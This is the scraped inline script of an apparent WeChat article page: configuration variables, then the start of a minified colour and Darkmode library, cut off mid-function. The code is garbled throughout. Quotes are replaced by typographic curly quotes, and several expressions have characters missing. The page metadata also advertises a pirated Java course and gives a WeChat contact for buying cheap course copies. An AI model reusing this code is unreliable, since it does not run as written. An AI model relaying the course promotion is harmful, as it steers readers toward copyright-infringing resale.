iframe,card_iframe,js_editor_card,weapp_display_element,js_weapp_display_element,weapp_card,app_context,weapp_card_bd,weapp_card_profile,radius_avatar,weapp_card_avatar,weapp_card_nickname,weapp_card_info,weapp_card_title,weapp_card_thumb_wrp,weapp_card_ft,weapp_card_logo,js_pay_btn,pay,pay__mask,wx_video_loading,js_redpacketcover,js_uneditable,js_uneditablemouseover,js_editor_qqmusic,js_editor_audio,ct_geography_loc_tip,js_poi_entry,subsc_context,subsc_btn,reset_btn,js_subsc_btn,icon_subsc’.split(‘,’);
      var qaClassPrefix = ‘qa__’;
      var whiteListReg = [
      new RegExp(“^wxw”),
      new RegExp(“^weui”),
      new RegExp(“^appmsg”),
      new RegExp(“^audio”),
      new RegExp(“^music”),
      new RegExp(“^cps_inner”),
      new RegExp(“^bizsvr_”), // 后台压缩样式
      new RegExp(“^code-snippet”), // 代码块样式
      new RegExp(“^” + qaClassPrefix), // 问答卡片样式
      new RegExp(“^wx-edui-“), // 图文编辑器相关样式统一前缀
      new RegExp(“^wx_”), // 微信样式统一前缀
      new RegExp(“^wx-“), // 微信样式统一前缀
      new RegExp(‘^js_darkmode__’), // 暗黑模式统一前缀
      new RegExp(‘^js_wechannel’), // 视频号统一前缀
      ];

      function htmlDecode(str) {
      return str
      .replace(/'/g, ‘\”)
      .replace(/
      /g, ‘\n’)
      .replace(/ /g, ‘ ‘)
      .replace(/</g, ”)
      .replace(/"/g, ‘”‘)
      .replace(/&/g, ‘&’)
      .replace(/ /g, ‘ ‘);
      }

      var uin = ”;
      var key = ”;
      var pass_ticket = ”;
      var new_appmsg = 1;
      var item_show_type = “0”;
      var real_item_show_type = “0”;
      var can_see_complaint = “0”;
      var tid = “”;
      var aid = “”;
      var clientversion = “”;
      var appuin = “” || “MzkzMjMyNzYyMQ==”;
      var voiceid = “”;

      var source = “”;
      var ascene = “”;
      var subscene = “”;
      var sessionid = “” || “svr_829afc75ed8”;
      var abtest_cookie = “”;

      var scene = 75;

      var itemidx = “”;
      var appmsg_token = “”;
      var _copyright_stat = “0”;
      var _ori_article_type = “”;

      var is_follow = “”;
      var nickname = “小藏辰园”;
      var appmsg_type = “9”;
      var ct = “1649260800”;
      var user_name = “gh_463d2459a68d”;
      var fakeid = “”;
      var version = “”;
      var is_limit_user = “0”;
      var round_head_img = “http://mmbiz.qpic.cn/mmbiz_png/e2mgPKPUX0uNYakp8CuzX2TQyNdiaFUSq8mVuBlEF3iasUURy3zShTyibYNg59gicfro5wUsnaDh7IYnjc2xNWTibxg/0?wx_fmt=png”;
      var hd_head_img = “http://wx.qlogo.cn/mmhead/Q3auHgzwzM4ickvZvFLqnhtC9jdbkdSpevDGmgyeQaFmxPnND1RMdibw/0” || “”;
      var ori_head_img_url = “http://wx.qlogo.cn/mmhead/Q3auHgzwzM4ickvZvFLqnhtC9jdbkdSpevDGmgyeQaFmxPnND1RMdibw/132”;
      var msg_title = ‘慕课网实战课Java企业级电商项目架构演进之路 Tomcat集群与Redis分布式(百度云 百度网盘)’.html(false);
      var msg_desc = htmlDecode(“这个课这里有,还有同类更多课加微信发暗号【拼课】低价学微信号:2113131994RECOMMEND好课推荐”);
      var msg_cdn_url = “http://mmbiz.qpic.cn/mmbiz_jpg/e2mgPKPUX0uNYakp8CuzX2TQyNdiaFUSqElDVdvG3v6Kqw0BefWJ7gWNWtm0iagDJic5PiaWf4UFB0wDHWe4v2MVKw/0?wx_fmt=jpeg”; // 首图idx=0时2.35:1 , 次图idx!=0时1:1
      var cdn_url_1_1 = “https://mmbiz.qlogo.cn/mmbiz_jpg/e2mgPKPUX0uNYakp8CuzX2TQyNdiaFUSqElDVdvG3v6Kqw0BefWJ7gWNWtm0iagDJic5PiaWf4UFB0wDHWe4v2MVKw/0?wx_fmt=jpeg”; // 1:1比例的封面图
      var cdn_url_235_1 = “https://mmbiz.qlogo.cn/mmbiz_jpg/e2mgPKPUX0uNYakp8CuzX2TQyNdiaFUSqjdAT0qB2XGrPDOEcCelL7ecnLBZGMknIRNEvy3ngYAXR7KiaibiayZGTw/0?wx_fmt=jpeg”; // 首图idx=0时2.35:1 , 次图idx!=0时1:1
      // var msg_link = “”;
      var msg_link = “”; // @radeonwu
      var user_uin = “” * 1;
      var msg_source_url = ”;
      var img_format = ‘jpeg’;
      var srcid = ”;
      var req_id = ‘2615Ej8VlPxNluJvADdrs5rZ’;
      var networkType;
      var appmsgid = “2247483931” || ” || ”;
      var comment_id = “0” || “0” * 1;
      var comment_enabled = “” * 1;
      var open_fansmsg = “0” * 1;
      var is_https_res = (“” * 1) && (location.protocol == “https:”);
      var msg_daily_idx = “1” || “”;
      var profileReportInfo = “” || “”;

      var devicetype = “”;
      var source_encode_biz = “”; // 转载来源的公众号encode biz
      var source_username = “”;
      // var profile_ext_signature = “” || “”;
      var reprint_ticket = “”;
      var source_mid = “”;
      var source_idx = “”;
      var source_biz = “”;
      var author_id = “”;

      // 压缩标志位
      var optimizing_flag = “0” * 1;

      // 广告灰度实验取消 @add by scotthuang
      // var ad_abtest_padding = “0” * 1;

      var show_comment = “”;
      var __appmsgCgiData = {
      wxa_product: “” * 1,
      wxa_cps: “” * 1,
      show_msg_voice: “0” * 1,
      can_use_page: “” * 1,
      is_wxg_stuff_uin: “0” * 1,
      card_pos: “”,
      copyright_stat: “0”,
      source_biz: “”,
      hd_head_img: “http://wx.qlogo.cn/mmhead/Q3auHgzwzM4ickvZvFLqnhtC9jdbkdSpevDGmgyeQaFmxPnND1RMdibw/0” || (window.location.protocol + “//” + window.location.host + “//res.wx.qq.com/mmbizwap/zh_CN/htmledition/images/pic/appmsg/pic_rumor_link.2x5d7bea.jpg”),
      has_red_packet_cover: “0” * 1 || 0,
      minishopCardData: “”
      };
      var _empty_v = “//res.wx.qq.com/mmbizwap/zh_CN/htmledition/images/pic/pages/voice/empty5d7bea.mp3″;
      var appmsg_album_info = (function () {
      var curAlbumId = ”;
      var publicTagInfo = [
      ];
      for (var i = 0; i < publicTagInfo.length; i++) {
      if (curAlbumId) {
      if (curAlbumId === publicTagInfo[i].id) {
      return publicTagInfo[i];
      }
      } else {
      if (publicTagInfo[i].continousReadOn) {
      return publicTagInfo[i];
      }
      }
      }
      return {};
      })();
      var copyright_stat = "0" * 1;
      var hideSource = "" * 1;

      var pay_fee = "" * 1;
      var pay_timestamp = "";
      var need_pay = "" * 1;
      var is_pay_subscribe = "0" * 1;

      var need_report_cost = "0" * 1;
      var use_tx_video_player = "0" * 1;
      var appmsg_fe_filter = "contenteditable";

      var friend_read_source = "" || "";
      var friend_read_version = "" || "";
      var friend_read_class_id = "" || "";

      var is_only_read = "1" * 1;
      var read_num = "" * 1;
      var like_num = "" * 1;
      var liked = "" == 'true' ? true : false;
      var is_temp_url = "" ? 1 : 0;
      var send_time = "";
      var icon_emotion_switch = "//res.wx.qq.com/mmbizwap/zh_CN/htmledition/images/icon/appmsg/emotion/icon_emotion_switch5d7bea.svg";
      var icon_emotion_switch_active = "//res.wx.qq.com/mmbizwap/zh_CN/htmledition/images/icon/appmsg/emotion/icon_emotion_switch_active5d7bea.svg";
      var icon_emotion_switch_primary = "//res.wx.qq.com/mmbizwap/zh_CN/htmledition/images/icon/appmsg/emotion/icon_emotion_switch_primary5d7bea.svg";
      var icon_emotion_switch_active_primary = "//res.wx.qq.com/mmbizwap/zh_CN/htmledition/images/icon/appmsg/emotion/icon_emotion_switch_active_primary5d7bea.svg";
      var icon_loading_white = "//res.wx.qq.com/mmbizwap/zh_CN/htmledition/images/icon/common/icon_loading_white5d7bea.gif";
      var icon_audio_unread = "//res.wx.qq.com/mmbizwap/zh_CN/htmledition/images/icon/appmsg/audio/icon_audio_unread5d7bea.png";
      var icon_qqmusic_default = "//res.wx.qq.com/mmbizwap/zh_CN/htmledition/images/icon/appmsg/qqmusic/icon_qqmusic_default.2x5d7bea.png";
      var icon_qqmusic_source = "//res.wx.qq.com/mmbizwap/zh_CN/htmledition/images/icon/appmsg/qqmusic/icon_qqmusic_source5d7bea.svg";
      var icon_kugou_source = "//res.wx.qq.com/mmbizwap/zh_CN/htmledition/images/icon/appmsg/kugou/icon_kugou_source5d7bea.png";

      var topic_default_img = '//res.wx.qq.com/mmbizwap/zh_CN/htmledition/images/icon/appmsg/topic/pic_book_thumb.2x5d7bea.png';
      var comment_edit_icon = '//res.wx.qq.com/mmbizwap/zh_CN/htmledition/images/icon/appmsg_new/icon_edit5d7bea.png';
      var comment_loading_img = '//res.wx.qq.com/mmbizwap/zh_CN/htmledition/images/icon/common/icon_loading_white5d7bea.gif';
      var comment_c2c_not_support_img = '//res.wx.qq.com/mmbizwap/zh_CN/htmledition/images/pic/appmsg/pic_discuss_more5d7bea.png';

      var voice_in_appmsg = {
      "1": "1"
      };
      var voiceList = {};
      voiceList={"voice_in_appmsg":[]}
      var reprint_style = '' * 1;
      var wxa_img_alert = "" != 'false';

      // 小程序相关数据
      var weapp_sn_arr_json = "" || "";

      // 视频号相关数据
      var video_snap_json = "" || "";
      // profile相关数据
      var mp_profile = [
      ];

      // 能力封禁字段
      var ban_scene = "0" * 1;

      var svr_time = "1650957397" * 1;
      // 加迁移文章字段, 默认为false
      var is_transfer_msg = "" * 1 || 0;

      var malicious_title_reason_id = "0" * 1; // 标题党wording id @radeonwu
      var malicious_content_type = "0" * 1; // 标题党类型 @radeonwu

      // 修改错别字逻辑
      var modify_time = "";

      // 限制跳转到公众号profile @radeonwu
      var isprofileblock = "0";

      var jumpInfo = [
      ];

      var hasRelatedArticleInfo = '0' * 1 || 0; // 有相关阅读的数据 @radeonwu
      var relatedArticleFlag = '' * 1 || 0; // 0不用拓展,为1时拓展3条 @yinshen

      var canUseAutoTypeSetting = '0' * 1 || 0; // 可以应用到自动排版样式
      window.wxtoken = "777";
      window.is_login = '' * 1; // 把上面的那段代码改一下,方便配置回退

      window.__moon_initcallback = function () {
      if (!!window.__initCatch) {
      window.__initCatch({
      idkey: 27611 + 2,
      startKey: 0,
      limit: 128,
      badjsId: 43,
      reportOpt: {
      uin: uin,
      biz: biz,
      mid: mid,
      idx: idx,
      sn: sn
      },
      extInfo: {
      network_rate: 0.01, //网络错误采样率
      badjs_rate: 0.1 // badjs上报叠加采样率
      }
      });
      }
      }
      window.isSg=true;
      window.sg_qr_code = "/rr?timestamp=1650957397\x26amp;src=11\x26amp;ver=1\x26amp;signature=Z5Op*RXFWpknfkSjCM1yYEXYWHs3uDiWdIFibHFEFFr*Fv*vxBvSmzhPVrw3CJ8Ic0S8b-u5X-A8cjJaxNKTv-8PvHbjIZRQsqWuYRil924=";
      window.sg_data = {
      src: "11",
      ver: "3761",
      timestamp: "1650957380",
      signature: "-xKq8bRi7hqXbUf2J*jJeMfxIoCKggtE-H7Mc1eiUedubkLNQZ8MG6ybWeS6L3JHonJSm1ay1fd4EDO4a0QQGvx8PpBMk8MZZK8n*oG6A927uYodWsR4bIdDnrRWqt3P"
      };
      window.__moon_initcallback = function () {
      if (!!window.__initCatch) {
      window.__initCatch({
      idkey: 29711,
      startKey: 120,
      badjsId: 63,
      reportOpt: {
      uin: uin,
      biz: biz,
      mid: mid,
      idx: idx,
      sn: sn
      },
      extInfo: {
      network_rate: 0.01 //网络错误采样率
      }
      });
      }
      };
      // msg_title != title
      var title = "小藏辰园";

      var is_new_msg = true;
      // var appmsg_like_type = "2" * 1 ? "2" * 1 : 1; //区分点赞和看一看
      // var appmsg_like_type = 2;

      var is_wash = '' * 1;
      var topbarEnable = false;
      var enterid = "" * 1 || "" * 1 || parseInt(Date.now() / 1000);
      // var appid_list = ""; // 改图文所在的小程序的appid列表,只在小程序中使用
      var miniprogram_appid = ""; // 该图文所在的小程序的appid

      var defaultAvatarUrl = '//res.wx.qq.com/mmbizwap/zh_CN/htmledition/images/pic/common/avatar_default5d7bea.svg';

      document.addEventListener('DOMContentLoaded', function () {
      window.domCompleteTime = Date.now();
      });

      // 记录是否有转载推荐语
      var hasRecommendMsg = 0;
      ;
      // 付费阅读
      var isPayTopic = '' * 1;
      var payTopicPrice = '' * 1;
      var isRemovedFromPayTopic = '' * 1;
      var isPaySubscribe = '0' * 1; // 是否付费文章
      var isPaid = '0' * 1; // 是否已付费
      var isRefund = '' * 1; // 是否已退款
      var payShowIAPPrice = 1; // 是否启用IAP价格显示,用于外币显示
      var payProductId = '' || ''; // 付费金额对应商品ID,用于iOS多币种金额IAP查询
      var previewPercent = '0' || ''; // 试读比例
      var payGiftsCount = '0' * 1 || 0; // 付费赠送数量
      var payFreeGift = '' * 1 || 0; // 是否是领取付费赠送的用户
      var is_finished_preview = 0; // 是否试读完
      var jump2pay = '' * 1; // 是否跳转到支付按钮的位置

      var isFans; // getext里获取数据再塞到这里
      var is_need_reward = (isPaySubscribe && !isPaid) ? 0 : "0" * 1; // 非付费不可赞赏
      var is_teenager = '' * 1 || 0; //是否处于青少年模式
      var is_care_mode = '' * 1 || 0; //是否处于关怀模式

      // 段落投诉
      var anchor_tree_msg = '';
      // Dark Mode
      var colorScheme = ''; // ''|'dark'|'light', 空表示跟随系统

      var iapPriceInfo = {
      };
      var productPayPackage = {
      iap_price_info: iapPriceInfo
      };

      // 漫画原创
      var isCartoonCopyright = '0' * 1; // 是否漫画原创

      // 图文朗读
      var show_msg_voice = '' * 1;
      var qnaCardData = '';
      var exptype = '' || '';
      var expsessionid = '' || '';

      // 留言相关
      var goContentId = '';
      var goReplyId = '';

      var show_related_article = '' * 1; // 是否强制出相关阅读

      var wwdistype = ''; // 企微场景,industrynews表示行业资讯

      // 腾讯视频相关
      window.cgiData = {
      appImg: '//res.wx.qq.com/mmbizwap/zh_CN/htmledition/images/pic/pages/video/pic_v.2x5d7bea.png',
      }
      !function(e,t){“object”==typeof exports&&”object”==typeof module?module.exports=t():”function”==typeof define&&define.amd?define(“Darkmode”,[],t):”object”==typeof exports?exports.Darkmode=t():e.Darkmode=t()}(window,(function(){return function(e){var t={};function r(n){if(t[n])return t[n].exports;var a=t[n]={i:n,l:!1,exports:{}};return e[n].call(a.exports,a,a.exports,r),a.l=!0,a.exports}return r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){“undefined”!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:”Module”}),Object.defineProperty(e,”__esModule”,{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&”object”==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,”default”,{enumerable:!0,value:e}),2&t&&”string”!=typeof e)for(var a in e)r.d(n,a,function(t){return e[t]}.bind(null,a));return n},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return r.d(t,”a”,t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p=””,r(r.s=9)}([function(e,t,r){“use strict”;var n=r(3),a=r(6),o=[].slice,i=[“keyword”,”gray”,”hex”],l={};Object.keys(a).forEach((function(e){l[o.call(a[e].labels).sort().join(“”)]=e}));var s={};function u(e,t){if(!(this instanceof u))return new u(e,t);if(t&&t in i&&(t=null),t&&!(t in a))throw new Error(“Unknown model: “+t);var r,c;if(null==e)this.model=”rgb”,this.color=[0,0,0],this.valpha=1;else if(e instanceof u)this.model=e.model,this.color=e.color.slice(),this.valpha=e.valpha;else if(“string”==typeof e){var h=n.get(e);if(null===h)throw new Error(“Unable to parse color from string: “+e);this.model=h.model,c=a[this.model].channels,this.color=h.value.slice(0,c),this.valpha=”number”==typeof h.value[c]?h.value[c]:1}else if(e.length){this.model=t||”rgb”,c=a[this.model].channels;var f=o.call(e,0,c);this.color=d(f,c),this.valpha=”number”==typeof e[c]?e[c]:1}else if(“number”==typeof e)e&=16777215,this.model=”rgb”,this.color=[e>>16&255,e>>8&255,255&e],this.valpha=1;else{this.valpha=1;var g=Object.keys(e);”alpha”in e&&(g.splice(g.indexOf(“alpha”),1),this.valpha=”number”==typeof e.alpha?e.alpha:0);var b=g.sort().join(“”);if(!(b in l))throw new Error(“Unable to parse color from object: “+JSON.stringify(e));this.model=l[b];var p=a[this.model].labels,y=[];for(r=0;r<p.length;r++)y.push(e[p[r]]);this.color=d(y)}if(s[this.model])for(c=a[this.model].channels,r=0;r<c;r++){var m=s[this.model][r];m&&(this.color[r]=m(this.color[r]))}this.valpha=Math.max(0,Math.min(1,this.valpha)),Object.freeze&&Object.freeze(this)}function c(e,t,r){return(e=Array.isArray(e)?e:[e]).forEach((function(e){(s[e]||(s[e]=[]))[t]=r})),e=e[0],function(n){var a;return arguments.length?(r&&(n=r(n)),(a=this[e]()).color[t]=n,a):(a=this[e]().color[t],r&&(a=r(a)),a)}}function h(e){return function(t){return Math.max(0,Math.min(e,t))}}function f(e){return Array.isArray(e)?e:[e]}function d(e,t){for(var r=0;r<t;r++)"number"!=typeof e[r]&&(e[r]=0);return e}u.prototype={toString:function(){return this.string()},toJSON:function(){return this[this.model]()},string:function(e){var t=this.model in n.to?this:this.rgb(),r=1===(t=t.round("number"==typeof e?e:1)).valpha?t.color:t.color.concat(this.valpha);return n.to[t.model](r)},percentString:function(e){var t=this.rgb().round("number"==typeof e?e:1),r=1===t.valpha?t.color:t.color.concat(this.valpha);return n.to.rgb.percent(r)},array:function(){return 1===this.valpha?this.color.slice():this.color.concat(this.valpha)},object:function(){for(var e={},t=a[this.model].channels,r=a[this.model].labels,n=0;n<t;n++)e[r[n]]=this.color[n];return 1!==this.valpha&&(e.alpha=this.valpha),e},unitArray:function(){var e=this.rgb().color;return e[0]/=255,e[1]/=255,e[2]/=255,1!==this.valpha&&e.push(this.valpha),e},unitObject:function(){var e=this.rgb().object();return e.r/=255,e.g/=255,e.b/=255,1!==this.valpha&&(e.alpha=this.valpha),e},round:function(e){return e=Math.max(e||0,0),new u(this.color.map(function(e){return function(t){return function(e,t){return Number(e.toFixed(t))}(t,e)}}(e)).concat(this.valpha),this.model)},alpha:function(e){return arguments.length?new u(this.color.concat(Math.max(0,Math.min(1,e))),this.model):this.valpha},red:c("rgb",0,h(255)),green:c("rgb",1,h(255)),blue:c("rgb",2,h(255)),hue:c(["hsl","hsv","hsl","hwb","hcg"],0,(function(e){return(e%360+360)%360})),saturationl:c("hsl",1,h(100)),lightness:c("hsl",2,h(100)),saturationv:c("hsv",1,h(100)),value:c("hsv",2,h(100)),chroma:c("hcg",1,h(100)),gray:c("hcg",2,h(100)),white:c("hwb",1,h(100)),wblack:c("hwb",2,h(100)),cyan:c("cmyk",0,h(100)),magenta:c("cmyk",1,h(100)),yellow:c("cmyk",2,h(100)),black:c("cmyk",3,h(100)),x:c("xyz",0,h(100)),y:c("xyz",1,h(100)),z:c("xyz",2,h(100)),l:c("lab",0,h(100)),a:c("lab",1),b:c("lab",2),keyword:function(e){return arguments.length?new u(e):a[this.model].keyword(this.color)},hex:function(e){return arguments.length?new u(e):n.to.hex(this.rgb().round().color)},rgbNumber:function(){var e=this.rgb().color;return(255&e[0])<<16|(255&e[1])<<8|255&e[2]},luminosity:function(){for(var e=this.rgb().color,t=[],r=0;r<e.length;r++){var n=e[r]/255;t[r]=nr?(t+.05)/(r+.05):(r+.05)/(t+.05)},level:function(e){var t=this.contrast(e);return t>=7.1?”AAA”:t>=4.5?”AA”:””},isDark:function(){var e=this.rgb().color;return(299*e[0]+587*e[1]+114*e[2])/1e3<128},isLight:function(){return!this.isDark()},negate:function(){for(var e=this.rgb(),t=0;t<3;t++)e.color[t]=255-e.color[t];return e},lighten:function(e){var t=this.hsl();return t.color[2]+=t.color[2]*e,t},darken:function(e){var t=this.hsl();return t.color[2]-=t.color[2]*e,t},saturate:function(e){var t=this.hsl();return t.color[1]+=t.color[1]*e,t},desaturate:function(e){var t=this.hsl();return t.color[1]-=t.color[1]*e,t},whiten:function(e){var t=this.hwb();return t.color[1]+=t.color[1]*e,t},blacken:function(e){var t=this.hwb();return t.color[2]+=t.color[2]*e,t},grayscale:function(){var e=this.rgb().color,t=.3*e[0]+.59*e[1]+.11*e[2];return u.rgb(t,t,t)},fade:function(e){return this.alpha(this.valpha-this.valpha*e)},opaquer:function(e){return this.alpha(this.valpha+this.valpha*e)},rotate:function(e){var t=this.hsl(),r=t.color[0];return r=(r=(r+e)%360)<0?360+r:r,t.color[0]=r,t},mix:function(e,t){if(!e||!e.rgb)throw new Error('Argument to "mix" was not a Color instance, but rather an instance of '+typeof e);var r=e.rgb(),n=this.rgb(),a=void 0===t?.5:t,o=2*a-1,i=r.alpha()-n.alpha(),l=((o*i==-1?o:(o+i)/(1+o*i))+1)/2,s=1-l;return u.rgb(l*r.red()+s*n.red(),l*r.green()+s*n.green(),l*r.blue()+s*n.blue(),r.alpha()*a+n.alpha()*(1-a))}},Object.keys(a).forEach((function(e){if(-1===i.indexOf(e)){var t=a[e].channels;u.prototype[e]=function(){if(this.model===e)return new u(this);if(arguments.length)return new u(arguments,e);var r="number"==typeof arguments[t]?t:this.valpha;return new u(f(a[this.model][e].raw(this.color)).concat(r),e)},u[e]=function(r){return"number"==typeof r&&(r=d(o.call(arguments),t)),new u(r,e)}}})),e.exports=u},function(e,t,r){"use strict";e.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}},function(e,t,r){var n=r(7),a={};for(var o in n)n.hasOwnProperty(o)&&(a[n[o]]=o);var i=e.exports={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};for(var l in i)if(i.hasOwnProperty(l)){if(!("channels"in i[l]))throw new Error("missing channels property: "+l);if(!("labels"in i[l]))throw new Error("missing channel labels property: "+l);if(i[l].labels.length!==i[l].channels)throw new Error("channel and label counts mismatch: "+l);var s=i[l].channels,u=i[l].labels;delete i[l].channels,delete i[l].labels,Object.defineProperty(i[l],"channels",{value:s}),Object.defineProperty(i[l],"labels",{value:u})}i.rgb.hsl=function(e){var t,r,n=e[0]/255,a=e[1]/255,o=e[2]/255,i=Math.min(n,a,o),l=Math.max(n,a,o),s=l-i;return l===i?t=0:n===l?t=(a-o)/s:a===l?t=2+(o-n)/s:o===l&&(t=4+(n-a)/s),(t=Math.min(60*t,360))<0&&(t+=360),r=(i+l)/2,[t,100*(l===i?0:r<=.5?s/(l+i):s/(2-l-i)),100*r]},i.rgb.hsv=function(e){var t,r,n,a,o,i=e[0]/255,l=e[1]/255,s=e[2]/255,u=Math.max(i,l,s),c=u-Math.min(i,l,s),h=function(e){return(u-e)/6/c+.5};return 0===c?a=o=0:(o=c/u,t=h(i),r=h(l),n=h(s),i===u?a=n-r:l===u?a=1/3+t-n:s===u&&(a=2/3+r-t),a1&&(a-=1)),[360*a,100*o,100*u]},i.rgb.hwb=function(e){var t=e[0],r=e[1],n=e[2];return[i.rgb.hsl(e)[0],100*(1/255*Math.min(t,Math.min(r,n))),100*(n=1-1/255*Math.max(t,Math.max(r,n)))]},i.rgb.cmyk=function(e){var t,r=e[0]/255,n=e[1]/255,a=e[2]/255;return[100*((1-r-(t=Math.min(1-r,1-n,1-a)))/(1-t)||0),100*((1-n-t)/(1-t)||0),100*((1-a-t)/(1-t)||0),100*t]},i.rgb.keyword=function(e){var t=a[e];if(t)return t;var r,o,i,l=1/0;for(var s in n)if(n.hasOwnProperty(s)){var u=n[s],c=(o=e,i=u,Math.pow(o[0]-i[0],2)+Math.pow(o[1]-i[1],2)+Math.pow(o[2]-i[2],2));c.04045?Math.pow((t+.055)/1.055,2.4):t/12.92)+.3576*(r=r>.04045?Math.pow((r+.055)/1.055,2.4):r/12.92)+.1805*(n=n>.04045?Math.pow((n+.055)/1.055,2.4):n/12.92)),100*(.2126*t+.7152*r+.0722*n),100*(.0193*t+.1192*r+.9505*n)]},i.rgb.lab=function(e){var t=i.rgb.xyz(e),r=t[0],n=t[1],a=t[2];return n/=100,a/=108.883,r=(r/=95.047)>.008856?Math.pow(r,1/3):7.787*r+16/116,[116*(n=n>.008856?Math.pow(n,1/3):7.787*n+16/116)-16,500*(r-n),200*(n-(a=a>.008856?Math.pow(a,1/3):7.787*a+16/116))]},i.hsl.rgb=function(e){var t,r,n,a,o,i=e[0]/360,l=e[1]/100,s=e[2]/100;if(0===l)return[o=255*s,o,o];t=2*s-(r=s<.5?s*(1+l):s+l-s*l),a=[0,0,0];for(var u=0;u<3;u++)(n=i+1/3*-(u-1))1&&n–,o=6*n<1?t+6*(r-t)*n:2*n<1?r:3*n<2?t+(r-t)*(2/3-n)*6:t,a[u]=255*o;return a},i.hsl.hsv=function(e){var t=e[0],r=e[1]/100,n=e[2]/100,a=r,o=Math.max(n,.01);return r*=(n*=2)<=1?n:2-n,a*=o<=1?o:2-o,[t,100*(0===n?2*a/(o+a):2*r/(n+r)),100*((n+r)/2)]},i.hsv.rgb=function(e){var t=e[0]/60,r=e[1]/100,n=e[2]/100,a=Math.floor(t)%6,o=t-Math.floor(t),i=255*n*(1-r),l=255*n*(1-r*o),s=255*n*(1-r*(1-o));switch(n*=255,a){case 0:return[n,s,i];case 1:return[l,n,i];case 2:return[i,n,s];case 3:return[i,l,n];case 4:return[s,i,n];case 5:return[n,i,l]}},i.hsv.hsl=function(e){var t,r,n,a=e[0],o=e[1]/100,i=e[2]/100,l=Math.max(i,.01);return n=(2-o)*i,r=o*l,[a,100*(r=(r/=(t=(2-o)*l)1&&(u/=h,c/=h),n=6*s-(t=Math.floor(6*s)),0!=(1&t)&&(n=1-n),a=u+n*((r=1-c)-u),t){default:case 6:case 0:o=r,i=a,l=u;break;case 1:o=a,i=r,l=u;break;case 2:o=u,i=r,l=a;break;case 3:o=u,i=a,l=r;break;case 4:o=a,i=u,l=r;break;case 